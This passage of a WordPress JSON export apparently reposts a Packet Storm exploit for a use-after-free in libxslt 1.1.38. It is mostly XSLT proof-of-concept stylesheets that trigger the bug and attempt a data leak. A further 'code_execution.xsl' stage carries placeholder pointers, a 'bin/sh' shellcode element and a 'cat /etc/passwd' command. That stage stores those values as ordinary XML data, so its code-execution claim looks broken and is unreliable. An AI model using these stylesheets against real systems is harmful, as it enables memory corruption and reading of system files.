–\\u003e\\n \\u003cxsl:key name=\\”key1\\” match=\\”object\\” use=\\”preceding::object[1]\/@id\\”\/\\u003e\\n \\u003cxsl:key name=\\”key2\\” match=\\”field1\\” use=\\”preceding::field1[1]\/text()\\”\/\\u003e\\n \\u003cxsl:key name=\\”key3\\” match=\\”field2\\” use=\\”preceding::field2[1]\/text()\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003cresult\\u003e\\n \\u003c!– \u062a\u0641\u0639\u064a\u0644 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d –\\u003e\\n \\u003cphase1\\u003e\\n \\u003cxsl:for-each select=\\”$vulnRVT1\/\/object\\”\\u003e\\n \\u003cx\\u003e\\u003cxsl:value-of select=\\”key(‘key1’, preceding::object[1]\/@id)\/field1\\”\/\\u003e\\u003c\/x\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/phase1\\u003e\\n \\n \\u003cphase2\\u003e\\n \\u003cxsl:for-each select=\\”$vulnRVT2\/\/field1\\”\\u003e\\n \\u003cy\\u003e\\u003cxsl:value-of select=\\”key(‘key2’, preceding::field1[1]\/text())\\”\/\\u003e\\u003c\/y\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/phase2\\u003e\\n \\n \\u003cphase3\\u003e\\n \\u003cxsl:for-each select=\\”$vulnRVT3\/\/field2\\”\\u003e\\n \\u003cz\\u003e\\u003cxsl:value-of select=\\”key(‘key3′, preceding::field2[1]\/text())\\”\/\\u003e\\u003c\/z\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/phase3\\u003e\\n \\n \\u003c!– \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a –\\u003e\\n \\u003cleak_attempt\\u003e\\n \\u003cxsl:copy-of select=\\”$vulnRVT1\/\/object[field1=’AAAAAAAA’]\\”\/\\u003e\\n \\u003cxsl:copy-of select=\\”$vulnRVT2\/\/field1[.=’AAAAAAAA’]\\”\/\\u003e\\n \\u003cxsl:copy-of select=\\”$vulnRVT3\/\/field2[.=’BBBBBBBB’]\\”\/\\u003e\\n \\u003c\/leak_attempt\\u003e\\n \\u003c\/result\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e\\n \\n =========******==================\\n [+] Exploiting the code\\n =================================\\n \\n \\u003c!– code_execution.xsl –\\u003e\\n \\u003c?xml version=\\”1.0\\”?\\u003e\\n \\u003cxsl:stylesheet version=\\”1.0\\” xmlns:xsl=\\”http:\/\/www.w3.org\/1999\/XSL\/Transform\\”\\n xmlns:xslt=\\”http:\/\/xmlsoft.org\/XSLT\/\\”\\u003e\\n \\n \\u003c!– \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0644\u062a\u062d\u0642\u064a\u0642 arbitrary write –\\u003e\\n \\u003cxsl:variable name=\\”gadgetRVT\\”\\u003e\\n \\u003cgadgets\\u003e\\n \\u003cvtable ptr=\\”0x41414141\\”\/\\u003e\\n \\u003cfunction pointer=\\”0x42424242\\”\/\\u003e\\n \\u003cshellcode\\u003ebin\/sh\\u003c\/shellcode\\u003e\\n \\u003crop\\u003e0x43434343\\u003c\/rop\\u003e\\n \\u003c\/gadgets\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:variable name=\\”overflowRVT\\”\\u003e\\n \\u003coverflow\\u003e\\n \\u003cbuffer size=\\”256\\”\\u003e\\n \\u003cxsl:text\\u003eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\u003c\/xsl:text\\u003e\\n \\u003c\/buffer\\u003e\\n \\u003ctarget\\u003eBEFORE_FREE\\u003c\/target\\u003e\\n \\u003c\/overflow\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:key name=\\”hijackKey\\” match=\\”buffer\\” use=\\”preceding::target[1]\/text()\\”\/\\u003e\\n \\n \\u003cxsl:template match=\\”\/\\”\\u003e\\n \\u003cexploit\\u003e\\n \\u003c!– Trigger UAF –\\u003e\\n \\u003ctrigger\\u003e\\n \\u003cxsl:for-each select=\\”$overflowRVT\/\/buffer\\”\\u003e\\n \\u003cxsl:value-of select=\\”key(‘hijackKey’, preceding::target[1]\/text())\\”\/\\u003e\\n \\u003c\/xsl:for-each\\u003e\\n \\u003c\/trigger\\u003e\\n \\n \\u003c!– \u0628\u0639\u062f \u0627\u0644\u062a\u062d\u0631\u064a\u0631\u060c \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u064a\u0645\u0643\u0646 \u0625\u0639\u0627\u062f\u0629 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 –\\u003e\\n \\u003creuse\\u003e\\n \\u003c!– \u0645\u062d\u0627\u0648\u0644\u0629 \u0625\u0639\u0627\u062f\u0629 \u0645\u0644\u0621 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u062d\u0631\u0631\u0629 \u0628\u0628\u064a\u0627\u0646\u0627\u062a\u0646\u0627 –\\u003e\\n \\u003cxsl:variable name=\\”reuseRVT\\”\\u003e\\n \\u003chijacked\\u003e\\n \\u003cfake_vtable\\u003e0x58585858\\u003c\/fake_vtable\\u003e\\n \\u003cfake_function\\u003esystem\\u003c\/fake_function\\u003e\\n \\u003ccommand\\u003ecat \/etc\/passwd\\u003c\/command\\u003e\\n \\u003c\/hijacked\\u003e\\n \\u003c\/xsl:variable\\u003e\\n \\n \\u003cxsl:copy-of select=\\”$reuseRVT\\”\/\\u003e\\n \\u003c\/reuse\\u003e\\n \\u003c\/exploit\\u003e\\n \\u003c\/xsl:template\\u003e\\n \\n \\u003c\/xsl:stylesheet\\u003e\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212323″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212323\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-12-02T19:40:42″,”description”:”libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-28308","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28308\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-12-02T19:40:42″,”description”:”libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28308\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T15:33:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323\",\"datePublished\":\"2025-12-02T15:33:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"},\"wordCount\":3709,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\",\"name\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-02T15:33:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28308","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","og_description":"{“lastseen”:”2025-12-02T19:40:42″,”description”:”libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory...","og_url":"https:\/\/zero.redgem.net\/?p=28308","og_site_name":"zero redgem","article_published_time":"2025-12-02T15:33:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28308#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28308"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323","datePublished":"2025-12-02T15:33:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28308"},"wordCount":3709,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28308#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28308","url":"https:\/\/zero.redgem.net\/?p=28308","name":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-02T15:33:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28308#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28308"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28308#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28308"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28308\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}